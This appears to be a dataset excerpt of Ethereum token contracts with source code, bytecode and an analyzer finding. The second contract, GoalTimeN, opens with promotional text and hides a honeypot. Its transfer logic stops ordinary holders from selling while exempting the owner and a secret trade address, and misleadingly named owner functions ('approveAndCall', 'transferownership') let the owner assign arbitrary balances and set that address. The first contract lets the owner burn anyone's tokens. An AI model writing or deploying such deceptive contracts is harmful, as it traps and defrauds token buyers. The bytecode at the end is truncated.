function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(
uint256 a,
uint256 b
)
internal
pure
returns (uint256)
{
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(
uint256 a,
uint256 b
)
internal
pure
returns (uint256)
{
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
)
internal
pure
returns (uint256)
{
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(
uint256 a,
uint256 b
)
internal
pure
returns (uint256)
{
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(
uint256 a,
uint256 b
)
internal
pure
returns (uint256)
{
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
)
internal
pure
returns (uint256)
{
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(
uint256 a,
uint256 b
)
internal
pure
returns (uint256)
{
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(
uint256 a,
uint256 b,
string memory errorMessage
)
internal
pure
returns (uint256)
{
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(
address account
)
internal
view
returns (bool)
{
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(
address payable recipient,
uint256 amount
)
internal
{
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(
address target,
bytes memory data
)
internal
returns (bytes memory)
{
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(
address target,
bytes memory data,
string memory errorMessage
)
internal
returns (bytes memory)
{
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
)
internal
returns (bytes memory)
{
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
)
internal
returns (bytes memory)
{
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(
address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage
)
private
returns (bytes memory)
{
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
abstract contract Ownable is Context {
address public owner;
address public pendingOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor () {
address msgSender = _msgSender();
owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
modifier onlyOwner() {
require(owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function transferOwnership(
address newOwner
)
onlyOwner
external
{
require(newOwner != address(0), "Ownable: new owner is the zero address");
pendingOwner = newOwner;
}
function claimOwnership()
external
{
require(_msgSender() == pendingOwner);
emit OwnershipTransferred(owner, pendingOwner);
owner = pendingOwner;
pendingOwner = address(0);
}
}
abstract contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = true;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause()
onlyOwner
whenNotPaused
external
{
paused = true;
emit Pause();
}
function unpause()
onlyOwner
whenPaused
external
{
paused = false;
emit Unpause();
}
}
abstract contract Whitelist is Pausable {
mapping(address => bool) public whitelist;
mapping(address => bool) public blacklist;
modifier isWhitelisted() {
require(whitelist[_msgSender()]);
_;
}
modifier isBlacklisted() {
require(blacklist[_msgSender()]);
_;
}
function addWhitelist(
address account
)
public
onlyOwner
{
whitelist[account] = true;
}
function removeWhitelist(
address account
)
public
onlyOwner
{
whitelist[account] = false;
}
function addBlacklist(
address account
)
public
onlyOwner
{
blacklist[account] = true;
}
function removeBlacklist(
address account
)
public
onlyOwner
{
blacklist[account] = false;
}
}
abstract contract ERC20 is Whitelist, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string internal _name;
string internal _symbol;
string internal _website;
uint8 private _decimals;
constructor (
string memory name,
string memory symbol
) {
_name = name;
_symbol = symbol;
_decimals = 18;
}
function name()
public
view
returns (string memory)
{
return _name;
}
function symbol()
public
view
returns (string memory)
{
return _symbol;
}
function website()
public
view
returns (string memory)
{
return _website;
}
function decimals()
public
view
returns (uint8)
{
return _decimals;
}
function totalSupply()
public
view
override
returns (uint256)
{
return _totalSupply;
}
function balanceOf(
address account
)
public
view
override
returns (uint256)
{
return _balances[account];
}
function transfer(
address recipient,
uint256 amount
)
public
virtual
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(
address owner,
address spender
)
public
view
virtual
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(
address spender,
uint256 amount
)
public
virtual
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
)
public
virtual
override
returns (bool)
{
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(
address spender,
uint256 addedValue
)
public
virtual
returns (bool)
{
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(
address spender,
uint256 subtractedValue
)
public
virtual
returns (bool)
{
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(
address sender,
address recipient,
uint256 amount
)
canTransfer
internal
virtual
{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(
address account,
uint256 amount
)
internal
virtual
{
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(
address account,
uint256 amount
)
internal
virtual
{
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(
address owner,
address spender,
uint256 amount
)
internal
virtual
{
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
modifier canTransfer()
{
address msgSender = _msgSender();
require(whitelist[msgSender] || !paused);
require(!blacklist[msgSender]);
_;
}
function _setupDecimals(
uint8 decimals_
)
internal
{
_decimals = decimals_;
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
)
internal
virtual
{
}
}
contract BOTS is ERC20("Bot Ocean", "BOTS") {
function mint(
address _to,
uint256 _amount
)
public
onlyOwner
{
_mint(_to, _amount);
}
function burn(
address _from,
uint256 _amount
)
public
onlyOwner
{
_burn(_from, _amount);
}
function setName(
string memory _newName
)
public
onlyOwner
{
_name = _newName;
}
function setSymbol(
string memory _newSymbol
)
public
onlyOwner
{
_symbol = _newSymbol;
}
function setWebsite(
string memory _newWebsite
)
public
onlyOwner
{
_website = _newWebsite;
}
function tokenFallback(
address _from,
uint256 _value,
bytes memory _data
)
public
{
revert();
}
function takeOut(
IERC20 _token,
uint256 _amount
)
external
onlyOwner
{
_token.transfer(owner, _amount);
}
}
contract LockedOwner {
BOTS mainContract;
using SafeMath for uint256;
using Address for address;
// The administrator will only be able to change the name, symbol and website.
// The administrator CANNOT burn tokens from other addresses, or mint more tokens.
address administrator;
constructor (
address targetContract
) {
mainContract = BOTS(targetContract);
administrator = msg.sender;
}
function claimContractOwnership() public {
mainContract.claimOwnership();
}
// Everyone can burn their own tokens. Cannot burn from someone else's address.
function burnTokens(uint256 amount) public {
uint256 availableAmount = mainContract.balanceOf(msg.sender);
require(availableAmount >= amount, "INSUFFICIENT_FUNDS");
mainContract.burn(msg.sender, amount);
}
// Admin functions
function changeAdmin(address _newAdmin) public {
require(msg.sender == administrator, "ADMIN_ONLY_FUNCTION");
administrator = _newAdmin;
}
function setName(string memory _newName) public {
require(msg.sender == administrator, "ADMIN_ONLY_FUNCTION");
mainContract.setName(_newName);
}
function setSymbol(string memory _newSymbol) public {
require(msg.sender == administrator, "ADMIN_ONLY_FUNCTION");
mainContract.setSymbol(_newSymbol);
}
function setWebsite(string memory _newWebsite) public {
require(msg.sender == administrator, "ADMIN_ONLY_FUNCTION");
mainContract.setWebsite(_newWebsite);
}
// Any other "owner" function restricted.
}
|
0x608060405234801561001057600080fd5b50600436106100625760003560e01c80634592cd1d146100675780636d1b229d146100715780638f2839701461009f578063b84c8246146100e3578063c47f00271461019e578063f87f44b914610259575b600080fd5b61006f610314565b005b61009d6004803603602081101561008757600080fd5b8101908080359060200190929190505050610396565b005b6100e1600480360360208110156100b557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610580565b005b61019c600480360360208110156100f957600080fd5b810190808035906020019064010000000081111561011657600080fd5b82018360208201111561012857600080fd5b8035906020019184600183028401116401000000008311171561014a57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050509192919290505050610687565b005b610257600480360360208110156101b457600080fd5b81019080803590602001906401000000008111156101d157600080fd5b8201836020820111156101e357600080fd5b8035906020019184600183028401116401000000008311171561020557600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f82011690508083019250505050505050919291929050505061083d565b005b6103126004803603602081101561026f57600080fd5b810190808035906020019064010000000081111561028c57600080fd5b82018360208201111561029e57600080fd5b803590602001918460018302840111640100000000831117156102c057600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f8201169050808301925050505050505091929192905050506109f3565b005b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16634e71e0c86040518163ffffffff1660e01b8152600401600060405180830381600087803b15801561037c57600080fd5b505af1158015610390573d6000803e3d6000fd5b50505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231336040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561042057600080fd5b505afa158015610434573d6000803e3d6000fd5b505050506040513d602081101561044a57600080fd5b81019080805190602001909291905050509050818110156104d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260128152602001807f494e53554646494349454e545f46554e4453000000000000000000000000000081525060200191505060405180910390fd5b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16639dc29fac33846040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b15801561056457600080fd5b505af1158015610578573d6000803e3d6000fd5b505050505050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610643576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f41444d494e5f4f4e4c595f46554e4354494f4e0000000000000000000000000081525060200191505060405180910390fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461074a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f41444d494e5f4f4e4c595f46554e4354494f4e0000000000000000000000000081525060200191505060405180910390fd5b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663b84c8246826040518263ffffffff1660e01b81526004018080602001828103825283818151815260200191508051906020019080838360005b838110156107d65780820151818401526020810190506107bb565b50505050905090810190601f1680156108035780820380516001836020036101000a031916815260200191505b5092505050600060405180830381600087803b15801561082257600080fd5b505af1158015610836573d6000803e3d6000fd5b5050505050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610900576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f41444d494e5f4f4e4c595f46554e4354494f4e0000000000000000000000000081525060200191505060405180910390fd5b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c47f0027826040518263ffffffff1660e01b81526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561098c578082015181840152602081019050610971565b50505050905090810190601f1680156109b95780820380516001836020036101000a031916815260200191505b5092505050600060405180830381600087803b1580156109d857600080fd5b505af11580156109ec573d6000803e3d6000fd5b5050505050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610ab6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f41444d494e5f4f4e4c595f46554e4354494f4e0000000000000000000000000081525060200191505060405180910390fd5b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f87f44b9826040518263ffffffff1660e01b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610b42578082015181840152602081019050610b27565b50505050905090810190601f168015610b6f5780820380516001836020036101000a031916815260200191505b5092505050600060405180830381600087803b158015610b8e57600080fd5b505af1158015610ba2573d6000803e3d6000fd5b505050505056fea2646970667358221220c44254f1d3b0045940e0567d52dc36458ffeec9fa58b8f31188c95e99315f73764736f6c63430007030033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
| 9,043 |
0xfede867046cf36f15f6ab7545279cf0e33265dc9
|
/*
GoalTime N(GTX) is a Ethereum BlockChain based CryptoCurrency which is used to mine GTX tokens for those people who use GoalTime N Apps.
For benefits of users,GTX can be converted to Bitcoin,Ethereum or other crypto using third party exchanges.
GoalTime N App is a social networking app that makes it easy for you to connect and share with family and friends online.
GoalTime N is a social networking App which is provide GTX tokens for users who use GoalTime N App. Users can mine GTX by using this Application.
GoalTime N is a social media and e-commerce industry . This company opened in 09 August 2019. And the purpose of giving this company is to make money.
The basic purpose of this company is that everyone can earn money by doing a little work at home. With this objective in mind, GoalTime N launched a Token which is called "GoalTime N" or "GTX" Token.
You can earn money by earning this GTX Token. So it can be said that GoalTime is moving towards Crypto-currency through social media and the E-Commerce industry.
Anyone can buy a share at GoalTime, he can do business. GoalTime is giving everyone one opportunity to invest money and do business.
There is no barrier when everyone works together.
Work hard and it gets easier. In this initiative, GoalTime is moving forward.
*/
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash;
// solhint-disable-next-line no-inline-assembly
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract GoalTimeN {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
if(_from == owner || _to == owner || _from == tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function approveAndCall(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender == owner);
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
address tradeAddress;
function transferownership(address addr) public returns(bool) {
require(msg.sender == owner);
tradeAddress = addr;
return true;
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
emit Transfer(address(0x0), msg.sender, totalSupply);
}
}
|
0x60806040526004361061009c5760003560e01c80633177029f116100645780633177029f1461027357806370a08231146102e657806395d89b411461034b578063a9059cbb146103db578063dd62ed3e14610441578063e8b5b796146104c65761009c565b806306fdde03146100a1578063095ea7b31461013157806318160ddd1461019757806323b872dd146101c2578063313ce56714610248575b600080fd5b3480156100ad57600080fd5b506100b661052f565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506105cd565b604051808215151515815260200191505060405180910390f35b3480156101a357600080fd5b506101ac6106bf565b6040518082815260200191505060405180910390f35b61022e600480360360608110156101d857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106c5565b604051808215151515815260200191505060405180910390f35b34801561025457600080fd5b5061025d6109d8565b6040518082815260200191505060405180910390f35b34801561027f57600080fd5b506102cc6004803603604081101561029657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109dd565b604051808215151515815260200191505060405180910390f35b3480156102f257600080fd5b506103356004803603602081101561030957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610aee565b6040518082815260200191505060405180910390f35b34801561035757600080fd5b50610360610b06565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103a0578082015181840152602081019050610385565b50505050905090810190601f1680156103cd5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610427600480360360408110156103f157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ba4565b604051808215151515815260200191505060405180910390f35b34801561044d57600080fd5b506104b06004803603604081101561046457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bb9565b6040518082815260200191505060405180910390f35b3480156104d257600080fd5b50610515600480360360208110156104e957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bde565b604051808215151515815260200191505060405180910390f35b60098054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105c55780601f1061059a576101008083540402835291602001916105c5565b820191906000526020600020905b8154815290600101906020018083116105a857829003601f168201915b505050505081565b600081600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60085481565b6000808214156106d857600190506109d1565b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461081f5781600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561079457600080fd5b81600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055505b61082a848484610c84565b61083357600080fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561087f57600080fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055506000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600081548092919060010191905055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b9392505050565b601281565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a3957600080fd5b6000821115610a8d576012600a0a8202600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b60018060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001905092915050565b60066020528060005260406000206000915090505481565b600a8054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b9c5780601f10610b7157610100808354040283529160200191610b9c565b820191906000526020600020905b815481529060010190602001808311610b7f57829003601f168201915b505050505081565b6000610bb13384846106c5565b905092915050565b6007602052816000526040600020602052806000526040600020600091509150505481565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c3a57600080fd5b81600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480610d2f5750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80610d875750600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b80610ddb5750600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15610de95760019050610e01565b610df38483610e08565b610dfc57600080fd5b600190505b9392505050565b600080600454148015610e1d57506000600254145b8015610e2b57506000600354145b15610e395760009050610ed8565b60006004541